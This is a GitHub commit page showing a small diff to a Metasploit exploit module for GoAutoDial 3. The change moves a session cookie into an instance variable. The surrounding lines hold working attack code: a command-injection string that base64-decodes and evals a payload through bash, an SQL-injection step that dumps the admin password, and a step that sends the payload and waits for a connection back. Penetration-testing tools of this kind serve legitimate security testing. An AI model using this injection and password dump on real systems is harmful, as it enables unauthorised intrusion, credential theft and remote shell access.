Skip to content

Commit 8c23769

Browse files
committed
Updated module to use an instance variable for using HTTP session tokens across functions.
1 parent 19ceb53 commit 8c23769

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

modules/exploits/linux/http/goautodial_3_rce_command_injection.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,7 @@ def sqli_admin_pass(cookies)
100100
#
101101
# Run the actual exploit
102102
#
103-
def execute_command(cookies)
103+
def execute_command()
104104

105105
encoded = Rex::Text.encode_base64("#{payload.encoded}")
106106
params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
@@ -112,7 +112,7 @@ def execute_command(cookies)
112112
'headers' => {
113113
'User-Agent' => 'Mozilla/5.0',
114114
'Accept-Encoding' => 'identity',
115-
'Cookie' => cookies
115+
'Cookie' => @cookie
116116

117117
}
118118
})
@@ -130,8 +130,9 @@ def exploit()
130130
print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
131131
end
132132

133+
@cookie = res1.get_cookies
133134
print_status("#{rhost}:#{rport} - Dumping admin password...")
134-
res = sqli_admin_pass(res1.get_cookies)
135+
res = sqli_admin_pass(@cookie)
135136

136137
if res
137138
print_good(res.body)
@@ -140,6 +141,6 @@ def exploit()
140141
end
141142
print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")
142143

143-
execute_command(res1.get_cookies)
144+
execute_command()
144145
end
145146
end

0 commit comments

Comments
 (0)